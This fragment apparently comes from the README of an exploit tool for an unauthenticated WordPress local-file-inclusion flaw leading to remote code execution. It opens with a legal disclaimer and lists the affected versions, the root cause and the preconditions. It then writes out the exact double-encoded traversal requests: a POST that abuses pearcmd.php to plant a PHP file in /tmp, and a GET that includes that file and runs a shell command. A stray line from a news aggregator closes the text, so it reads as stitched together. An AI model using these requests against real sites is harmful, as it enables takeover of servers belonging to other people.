> Using it against systems you do not own or have written permission to test is **illegal** and punishable under cyber crime laws.
> The author assumes no responsibility for misuse.
| **Type** | Local File Inclusion (LFI) → Remote Code Execution (RCE) |
| **Attack Vector** | Network (Unauthenticated) |
| **Affected** | WordPress 4.7.0 – 7.1.1 |
| **Patched** | WordPress 7.1.2 (and backports up to 4.7.37) |
| **Root Cause** | `get_page_template()` does not call `validate_file()` after URL-decoding the `pagename` parameter, allowing double-encoded traversal (`%252E%252E%252F`) to bypass sanitization and include arbitrary `.php` files outside the theme directory. |
For full RCE, **all** of the following must be true:
1. WordPress version between **4.7.0** and **7.1.1**
2. Active theme contains a **top-level `page-*` directory** (e.g. `page-templates/`)
3. At least one **published page** exists
4. `pearcmd.php` is present and readable by the web server user (default in official PHP Docker images and many cPanel installs with PHP /)
└─ 4.7.0 – 7.1.1 ? continue : warn & continue
└─ POST /?+config-create+/&page_id=&pagename=templates%252F..%252F..%252Fusr%252Flocal%252Flib%252Fphp%252Fpearcmd
└─ GET /?page_id=&pagename=templates%252F..%252F..%252Ftmp%252F.php&c=id
The full story
This article is one source in a clustered incident — the cluster page carries the summary, timeline and every other outlet covering it.
